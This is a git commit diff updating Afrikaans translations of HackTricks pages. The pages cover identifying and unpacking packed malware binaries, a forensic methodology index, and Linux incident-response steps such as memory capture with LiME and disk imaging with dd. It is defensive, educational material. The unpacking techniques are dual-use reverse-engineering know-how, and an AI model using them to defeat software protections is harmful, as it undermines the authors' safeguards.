mirror of
https://github.com/carlospolop/hacktricks
synced 2025-02-16 14:08:26 +00:00
Translated ['crypto-and-stego/cryptographic-algorithms/unpacking-binarie
This commit is contained in:
parent
e41943cf16
commit
c6516104ef
101 changed files with 4513 additions and 5208 deletions
|
@ -1,50 +1,54 @@
|
|||
{% hint style="success" %}
|
||||
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Ondersteun HackTricks</summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**Die PEASS-familie**](https://opensea.io/collection/the-peass-family), ons versameling van eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hack-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
|
||||
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
|
||||
|
||||
# Identifiseer gepakte binêre lêers
|
||||
# Identifisering van gepakte binêre
|
||||
|
||||
* **Gebrek aan strings**: Dit is algemeen om te vind dat gepakte binêre lêers amper geen string het nie.
|
||||
* Baie **ongebruikte strings**: Ook, wanneer 'n kwaadwillige program 'n soort kommersiële pakker gebruik, is dit algemeen om baie strings sonder kruisverwysings te vind. Selfs as hierdie strings bestaan, beteken dit nie dat die binêre lêer nie gepak is nie.
|
||||
* Jy kan ook van hulpmiddels gebruik maak om te probeer vind watter pakker gebruik is om 'n binêre lêer te pak:
|
||||
* **gebrek aan strings**: Dit is algemeen om te vind dat gepakte binêre amper geen string het nie
|
||||
* 'n Baie **onbenutte strings**: Ook, wanneer 'n malware 'n soort kommersiële pakker gebruik, is dit algemeen om baie strings sonder kruisverwysings te vind. Selfs al bestaan hierdie strings beteken dit nie dat die binêre nie gepak is nie.
|
||||
* Jy kan ook 'n paar gereedskap gebruik om te probeer uitvind watter pakker gebruik is om 'n binêre te pak:
|
||||
* [PEiD](http://www.softpedia.com/get/Programming/Packers-Crypters-Protectors/PEiD-updated.shtml)
|
||||
* [Exeinfo PE](http://www.softpedia.com/get/Programming/Packers-Crypters-Protectors/ExEinfo-PE.shtml)
|
||||
* [Language 2000](http://farrokhi.net/language/)
|
||||
|
||||
# Basiese Aanbevelings
|
||||
|
||||
* **Begin** deur die gepakte binêre lêer **van onder af in IDA te analiseer en beweeg opwaarts**. Ontpakkers verlaat sodra die ontspande kode verlaat word, dus is dit onwaarskynlik dat die ontspakker uitvoering aan die ontspande kode gee aan die begin.
|
||||
* Soek na **JMP's** of **CALLs** na **registers** of **geheue-areas**. Soek ook na **funksies wat argumente druk en 'n adresrigting en dan `retn` aanroep**, omdat die terugkeer van die funksie in daardie geval die adres kan aanroep wat net na dit op die stok gedruk is.
|
||||
* Plaas 'n **afkap-punt** op `VirtualAlloc` aangesien dit spasie in geheue toewys waar die program ontspanne kode kan skryf. Hardloop na gebruikerskode of gebruik F8 om **die waarde binne EAX te kry** na die uitvoering van die funksie en "**volg daardie adres in die dump**". Jy weet nooit of dit die area is waar die ontspanne kode gestoor gaan word.
|
||||
* **`VirtualAlloc`** met die waarde "**40**" as 'n argument beteken Lees+Skryf+Uitvoer (sekere kode wat uitvoering benodig, gaan hier gekopieer word).
|
||||
* Terwyl jy kode ontspan, is dit normaal om **verskeie oproepe** na **rekenkundige bewerkings** en funksies soos **`memcopy`** of **`Virtual`**`Alloc` te vind. As jy jouself in 'n funksie bevind wat blykbaar net rekenkundige bewerkings uitvoer en miskien 'n paar `memcopy` , is die aanbeveling om te probeer die einde van die funksie te vind (miskien 'n JMP of oproep na 'n register) **of** ten minste die **oproep na die laaste funksie** en hardloop dan daarna aangesien die kode nie interessant is nie.
|
||||
* Terwyl jy kode ontspan, **merk** jy elke keer wanneer jy **geheue-areas verander** aangesien 'n verandering in geheue-area die **begin van die ontspanne kode** kan aandui. Jy kan maklik 'n geheue-area dump deur Process Hacker (proses --> eienskappe --> geheue) te gebruik.
|
||||
* Terwyl jy probeer kode ontspan, is 'n goeie manier om **te weet of jy reeds met die ontspanne kode werk** (sodat jy dit net kan dump) om **die strings van die binêre lêer te ondersoek**. As jy op 'n punt 'n sprong maak (miskien deur die geheue-area te verander) en jy besef dat **baie meer strings bygevoeg is**, kan jy weet **jy werk met die ontspanne kode**.\
|
||||
Maar as die pakker reeds baie strings bevat, kan jy sien hoeveel strings die woord "http" bevat en sien of hierdie getal toeneem.
|
||||
* Wanneer jy 'n uitvoerbare lêer van 'n geheue-area dump, kan jy sommige koppe regmaak deur [PE-bear](https://github.com/hasherezade/pe-bear-releases/releases) te gebruik.
|
||||
* **Begin** om die gepakte binêre **van onder in IDA te analiseer en beweeg op**. Unpackers verlaat wanneer die uitgepakte kode verlaat, so dit is onwaarskynlik dat die unpacker uitvoering aan die uitgepakte kode aan die begin oorgee.
|
||||
* Soek na **JMP's** of **CALLs** na **registers** of **gebiede** van **geheue**. Soek ook na **funksies wat argumente en 'n adresrigting druk en dan `retn` aanroep**, want die terugkeer van die funksie in daardie geval kan die adres wat net na die stapel gedruk is, aanroep voordat dit dit aanroep.
|
||||
* Plaas 'n **breekpunt** op `VirtualAlloc` aangesien dit ruimte in geheue toewys waar die program uitgepakte kode kan skryf. Die "loop na gebruikerskode" of gebruik F8 om **na waarde binne EAX te kom** nadat die funksie uitgevoer is en "**volg daardie adres in dump**". Jy weet nooit of dit die gebied is waar die uitgepakte kode gestoor gaan word.
|
||||
* **`VirtualAlloc`** met die waarde "**40**" as 'n argument beteken Lees+Skryf+Voer uit (sommige kode wat uitvoering benodig gaan hier gekopieer word).
|
||||
* **Terwyl jy kode unpack**, is dit normaal om **verskeie oproepe** na **aritmetiese operasies** en funksies soos **`memcopy`** of **`Virtual`**`Alloc` te vind. As jy in 'n funksie is wat blykbaar net aritmetiese operasies uitvoer en dalk 'n `memcopy`, is die aanbeveling om te probeer **die einde van die funksie te vind** (miskien 'n JMP of oproep na 'n register) **of** ten minste die **oproep na die laaste funksie** en loop dan na dit, aangesien die kode nie interessant is nie.
|
||||
* Terwyl jy kode unpack, **let op** wanneer jy **geheuegebied verander** aangesien 'n verandering in geheuegebied die **begin van die unpacking kode** kan aandui. Jy kan maklik 'n geheuegebied dump met Process Hacker (proses --> eienskappe --> geheue).
|
||||
* Terwyl jy probeer om kode te unpack, is 'n goeie manier om **te weet of jy reeds met die uitgepakte kode werk** (sodat jy dit net kan dump) om die **strings van die binêre te kontroleer**. As jy op 'n sekere punt 'n sprong maak (miskien die geheuegebied verander) en jy opmerk dat **baie meer strings bygevoeg is**, dan kan jy weet **jy werk met die uitgepakte kode**.\
|
||||
As die pakker egter reeds baie strings bevat, kan jy kyk hoeveel strings die woord "http" bevat en sien of hierdie getal toeneem.
|
||||
* Wanneer jy 'n uitvoerbare lêer van 'n geheuegebied dump, kan jy sommige koptekste regstel met [PE-bear](https://github.com/hasherezade/pe-bear-releases/releases).
|
||||
|
||||
{% hint style="success" %}
|
||||
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Ondersteun HackTricks</summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**Die PEASS-familie**](https://opensea.io/collection/the-peass-family), ons versameling van eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hack-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
|
||||
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,16 +1,19 @@
|
|||
# Basiese Forensiese Metodologie
|
||||
|
||||
{% hint style="success" %}
|
||||
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Ondersteun HackTricks</summary>
|
||||
|
||||
* Werk jy in 'n **cybersecurity-maatskappy**? Wil jy jou **maatskappy adverteer in HackTricks**? Of wil jy toegang hê tot die **nuutste weergawe van die PEASS of HackTricks aflaai in PDF-formaat**? Kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Sluit aan by die** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** my op **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hacking-truuks deur PR's in te dien by die [hacktricks repo](https://github.com/carlospolop/hacktricks) en [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Skep en Monteer 'n Beeld
|
||||
|
||||
|
@ -18,9 +21,9 @@
|
|||
[image-acquisition-and-mount.md](../../generic-methodologies-and-resources/basic-forensic-methodology/image-acquisition-and-mount.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Malware-analise
|
||||
## Malware Analise
|
||||
|
||||
Dit is **nie noodwendig die eerste stap om uit te voer nadat jy die beeld het nie**. Maar jy kan hierdie malware-analise tegnieke onafhanklik gebruik as jy 'n lêer, 'n lêerstelselbeeld, geheuebeeld, pcap... het, so dit is goed om **hierdie aksies in gedagte te hou**:
|
||||
Dit **is nie noodwendig die eerste stap om uit te voer sodra jy die beeld het nie**. Maar jy kan hierdie malware analise tegnieke onafhanklik gebruik as jy 'n lêer, 'n lêerstelsel beeld, geheue beeld, pcap... het, so dit is goed om **hierdie aksies in gedagte te hou**:
|
||||
|
||||
{% content-ref url="malware-analysis.md" %}
|
||||
[malware-analysis.md](malware-analysis.md)
|
||||
|
@ -28,13 +31,13 @@ Dit is **nie noodwendig die eerste stap om uit te voer nadat jy die beeld het ni
|
|||
|
||||
## Inspekteer 'n Beeld
|
||||
|
||||
As jy 'n **forensiese beeld** van 'n toestel gekry het, kan jy begin **analiseer die partisies, lêerstelsel** wat gebruik word en **herwin** potensieel **interessante lêers** (selfs uitgewisde lêers). Leer hoe om dit te doen:
|
||||
As jy 'n **forensiese beeld** van 'n toestel ontvang, kan jy begin **die partisie, lêerstelsel** wat gebruik word en **herstel** potensieel **interessante lêers** (selfs verwyderde) analiseer. Leer hoe in:
|
||||
|
||||
{% content-ref url="partitions-file-systems-carving/" %}
|
||||
[partitions-file-systems-carving](partitions-file-systems-carving/)
|
||||
{% endcontent-ref %}
|
||||
|
||||
Afhanklik van die gebruikte bedryfstelsels en selfs platforms moet verskillende interessante artefakte gesoek word:
|
||||
Afhangende van die gebruikte OS's en selfs platform, moet verskillende interessante artefakte gesoek word:
|
||||
|
||||
{% content-ref url="windows-forensics/" %}
|
||||
[windows-forensics](windows-forensics/)
|
||||
|
@ -48,9 +51,9 @@ Afhanklik van die gebruikte bedryfstelsels en selfs platforms moet verskillende
|
|||
[docker-forensics.md](docker-forensics.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Diep inspeksie van spesifieke lêertipes en sagteware
|
||||
## Diep inspeksie van spesifieke lêer-tipes en Sagteware
|
||||
|
||||
As jy 'n baie **verdagte lêer** het, dan kan verskeie **truuks** nuttig wees, afhangende van die lêertipe en sagteware wat dit geskep het.\
|
||||
As jy 'n baie **verdagte** **lêer** het, dan **afhangende van die lêer-tipe en sagteware** wat dit geskep het, kan verskeie **truuks** nuttig wees.\
|
||||
Lees die volgende bladsy om 'n paar interessante truuks te leer:
|
||||
|
||||
{% content-ref url="specific-software-file-type-tricks/" %}
|
||||
|
@ -63,13 +66,13 @@ Ek wil 'n spesiale vermelding maak van die bladsy:
|
|||
[browser-artifacts.md](specific-software-file-type-tricks/browser-artifacts.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Geheue-uitstorting-inspeksie
|
||||
## Geheue Dump Inspekteer
|
||||
|
||||
{% content-ref url="memory-dump-analysis/" %}
|
||||
[memory-dump-analysis](memory-dump-analysis/)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Pcap-inspeksie
|
||||
## Pcap Inspekteer
|
||||
|
||||
{% content-ref url="pcap-inspection/" %}
|
||||
[pcap-inspection](pcap-inspection/)
|
||||
|
@ -77,26 +80,29 @@ Ek wil 'n spesiale vermelding maak van die bladsy:
|
|||
|
||||
## **Anti-Forensiese Tegnieke**
|
||||
|
||||
Hou moontlike gebruik van anti-forensiese tegnieke in gedagte:
|
||||
Hou in gedagte die moontlike gebruik van anti-forensiese tegnieke:
|
||||
|
||||
{% content-ref url="anti-forensic-techniques.md" %}
|
||||
[anti-forensic-techniques.md](anti-forensic-techniques.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Bedreigingsjag
|
||||
## Bedreiging Jag
|
||||
|
||||
{% content-ref url="file-integrity-monitoring.md" %}
|
||||
[file-integrity-monitoring.md](file-integrity-monitoring.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Ondersteun HackTricks</summary>
|
||||
|
||||
* Werk jy in 'n **cybersecurity-maatskappy**? Wil jy jou **maatskappy adverteer in HackTricks**? Of wil jy toegang hê tot die **nuutste weergawe van die PEASS of HackTricks aflaai in PDF-formaat**? Kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Sluit aan by die** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** my op **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hacking-truuks deur PR's in te dien by die [hacktricks repo](https://github.com/carlospolop/hacktricks) en [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -23,11 +23,11 @@ Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size=
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Aanvanklike Inligting Versameling
|
||||
## Begin Inligting Versameling
|
||||
|
||||
### Basiese Inligting
|
||||
|
||||
Eerstens, dit word aanbeveel om 'n **USB** te hê met **goeie bekende binaries en biblioteke daarop** (jy kan net ubuntu kry en die mappen _/bin_, _/sbin_, _/lib,_ en _/lib64_ kopieer), dan monteer die USB, en wysig die omgewing veranderlikes om daardie binaries te gebruik:
|
||||
Eerstens, dit word aanbeveel om 'n **USB** te hê met **goeie bekende binaire en biblioteke daarop** (jy kan net ubuntu kry en die mappen _/bin_, _/sbin_, _/lib,_ en _/lib64_ kopieer), dan monteer die USB, en wysig die omgewing veranderlikes om daardie binaire te gebruik:
|
||||
```bash
|
||||
export PATH=/mnt/usb/bin:/mnt/usb/sbin
|
||||
export LD_LIBRARY_PATH=/mnt/usb/lib:/mnt/usb/lib64
|
||||
|
@ -76,21 +76,21 @@ sudo insmod lime.ko "path=/home/sansforensics/Desktop/mem_dump.bin format=lime"
|
|||
LiME ondersteun 3 **formate**:
|
||||
|
||||
* Raw (elke segment saamgevoeg)
|
||||
* Padded (dieselfde as raw, maar met nulles in regter bits)
|
||||
* Padded (dieselfde as raw, maar met nulles in die regter bits)
|
||||
* Lime (aanbevole formaat met metadata)
|
||||
|
||||
LiME kan ook gebruik word om die **dump via netwerk te stuur** in plaas van dit op die stelsel te stoor met iets soos: `path=tcp:4444`
|
||||
LiME kan ook gebruik word om die **dump via netwerk te stuur** in plaas van om dit op die stelsel te stoor met iets soos: `path=tcp:4444`
|
||||
|
||||
### Disk Imaging
|
||||
|
||||
#### Afsluiting
|
||||
|
||||
Eerstens, jy sal moet **die stelsel afsluit**. Dit is nie altyd 'n opsie nie, aangesien sommige stelsels 'n produksieserver kan wees wat die maatskappy nie kan bekostig om af te sluit.\
|
||||
Daar is **2 maniere** om die stelsel af te sluit, 'n **normale afsluiting** en 'n **"trek die stekker" afsluiting**. Die eerste een sal die **prosesse toelaat om soos gewoonlik te beëindig** en die **filesystem** te **synchroniseer**, maar dit sal ook die moontlike **malware** toelaat om **bewyse te vernietig**. Die "trek die stekker" benadering kan **sekere inligtingverlies** meebring (nie veel van die inligting gaan verlore gaan nie aangesien ons reeds 'n beeld van die geheue geneem het) en die **malware sal nie enige geleentheid hê** om iets daaroor te doen nie. Daarom, as jy **vermoed** dat daar 'n **malware** mag wees, voer net die **`sync`** **opdrag** op die stelsel uit en trek die stekker.
|
||||
Eerstens, jy sal die **stelsel moet afsluit**. Dit is nie altyd 'n opsie nie, aangesien sommige stelsels 'n produksiebediener kan wees wat die maatskappy nie kan bekostig om af te sluit nie.\
|
||||
Daar is **2 maniere** om die stelsel af te sluit, 'n **normale afsluiting** en 'n **"trek die stekker" afsluiting**. Die eerste een sal die **prosesse toelaat om soos gewoonlik te beëindig** en die **filesystem** te **synchroniseer**, maar dit sal ook die moontlike **malware** toelaat om **bewyse te vernietig**. Die "trek die stekker" benadering kan **sekere inligtingverlies** meebring (nie veel van die inligting gaan verlore gaan nie, aangesien ons reeds 'n beeld van die geheue geneem het) en die **malware sal nie enige geleentheid hê** om iets daaroor te doen nie. Daarom, as jy **suspekteer** dat daar 'n **malware** mag wees, voer net die **`sync`** **opdrag** op die stelsel uit en trek die stekker.
|
||||
|
||||
#### Neem 'n beeld van die skyf
|
||||
|
||||
Dit is belangrik om te noem dat **voor jy jou rekenaar aan enigiets wat met die saak verband hou, koppel**, jy moet seker wees dat dit **as slegs lees gemonteer gaan word** om te verhoed dat enige inligting gewysig word.
|
||||
Dit is belangrik om te noem dat **voor jy jou rekenaar aan enigiets wat met die saak verband hou, koppel**, jy moet seker wees dat dit as **slegs lees** gemonteer gaan word om te voorkom dat enige inligting gewysig word.
|
||||
```bash
|
||||
#Create a raw copy of the disk
|
||||
dd if=<subject device> of=<image file> bs=512
|
||||
|
@ -157,7 +157,7 @@ ThisisTheMasterSecret
|
|||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Gebruik [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) om maklik **werkvloei** te bou en te **automate** wat aangedryf word deur die wêreld se **mees gevorderde** gemeenskapstoestelle.\
|
||||
Gebruik [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) om maklik **werkvloei** te bou en te **automate** wat aangedryf word deur die wêreld se **mees gevorderde** gemeenskapstools.\
|
||||
Kry Toegang Vandag:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
@ -184,7 +184,7 @@ Lees die volgende bladsy om meer te leer oor gereedskap wat nuttig kan wees om m
|
|||
Om effektief te soek na geïnstalleerde programme op beide Debian en RedHat stelsels, oorweeg om stelsellogs en databasisse saam met handmatige kontroles in algemene gidse te benut.
|
||||
|
||||
* Vir Debian, ondersoek _**`/var/lib/dpkg/status`**_ en _**`/var/log/dpkg.log`**_ om besonderhede oor pakketinstallasies te verkry, met `grep` om spesifieke inligting te filter.
|
||||
* RedHat-gebruikers kan die RPM-databasis ondervra met `rpm -qa --root=/mntpath/var/lib/rpm` om geïnstalleerde pakkette te lys.
|
||||
* RedHat gebruikers kan die RPM-databasis raadpleeg met `rpm -qa --root=/mntpath/var/lib/rpm` om geïnstalleerde pakkette te lys.
|
||||
|
||||
Om sagteware wat handmatig of buite hierdie pakketbestuurders geïnstalleer is, te ontdek, verken gidse soos _**`/usr/local`**_, _**`/opt`**_, _**`/usr/sbin`**_, _**`/usr/bin`**_, _**`/bin`**_, en _**`/sbin`**_. Kombineer gidse met stelselspesifieke opdragte om uitvoerbare lêers te identifiseer wat nie geassosieer word met bekende pakkette nie, wat jou soektog na alle geïnstalleerde programme verbeter.
|
||||
```bash
|
||||
|
@ -205,7 +205,7 @@ find / -type f -executable | grep <something>
|
|||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Gebruik [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) om maklik **werkvloei** te bou en te **automate** wat aangedryf word deur die wêreld se **mees gevorderde** gemeenskapstools.\
|
||||
Gebruik [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) om maklik **werkvloei** te bou en te **automate** wat aangedryf word deur die wêreld se **meest gevorderde** gemeenskapstools.\
|
||||
Kry Toegang Vandag:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
@ -312,7 +312,7 @@ Sommige toepassings genereer ook hul eie logs:
|
|||
* **Firefox/Chrome**: Kontroleer blaargeskiedenis en aflaaie in _\~/.mozilla/firefox_ of _\~/.config/google-chrome_ vir verdagte aktiwiteite.
|
||||
* **VIM**: Hersien _\~/.viminfo_ vir gebruik besonderhede, soos toeganklike lêer paaie en soek geskiedenis.
|
||||
* **Open Office**: Kontroleer vir onlangse dokument toegang wat moontlik gecompromitteerde lêers aandui.
|
||||
* **FTP/SFTP**: Hersien logs in _\~/.ftp\_history_ of _\~/.sftp\_history_ vir lêer oordragte wat moontlik ongeoorloof is.
|
||||
* **FTP/SFTP**: Hersien logs in _\~/.ftp\_history_ of _\~/.sftp\_history_ vir lêer oordragte wat moontlik ongeoorloofde is.
|
||||
* **MySQL**: Ondersoek _\~/.mysql\_history_ vir uitgevoerde MySQL vrae, wat moontlik ongeoorloofde databasis aktiwiteite onthul.
|
||||
* **Less**: Analiseer _\~/.lesshst_ vir gebruik geskiedenis, insluitend gesiene lêers en uitgevoerde opdragte.
|
||||
* **Git**: Ondersoek _\~/.gitconfig_ en projek _.git/logs_ vir veranderinge aan repositories.
|
||||
|
@ -356,16 +356,16 @@ Laastens, soek na rekeninge met **geen wagwoorde** of **maklik geraadpleegde** w
|
|||
|
||||
### Analiseer Lêerstelselstrukture in Malware Ondersoek
|
||||
|
||||
Wanneer malware-voorvalle ondersoek word, is die struktuur van die lêerstelsel 'n belangrike bron van inligting, wat beide die volgorde van gebeurtenisse en die inhoud van die malware onthul. Malware-skeppers ontwikkel egter tegnieke om hierdie analise te belemmer, soos om lêer tydstempels te verander of die lêerstelsel te vermy vir data-opberging.
|
||||
Wanneer malware-voorvalle ondersoek word, is die struktuur van die lêerstelsel 'n belangrike bron van inligting, wat beide die volgorde van gebeurtenisse en die inhoud van die malware onthul. egter, malware-skeppers ontwikkel tegnieke om hierdie analise te belemmer, soos om lêer tydstempels te verander of die lêerstelsel te vermy vir data-opberging.
|
||||
|
||||
Om hierdie anti-forensiese metodes teë te werk, is dit noodsaaklik om:
|
||||
|
||||
* **'n deeglike tydlynanalise uit te voer** met behulp van gereedskap soos **Autopsy** om gebeurtenistydlyne te visualiseer of **Sleuth Kit's** `mactime` vir gedetailleerde tydlyn data.
|
||||
* **Ondersoek ongewone skripte** in die stelsel se $PATH, wat skulp of PHP-skripte kan insluit wat deur aanvallers gebruik word.
|
||||
* **Ondersoek `/dev` vir ongewone lêers**, aangesien dit tradisioneel spesiale lêers bevat, maar malware-verwante lêers kan huisves.
|
||||
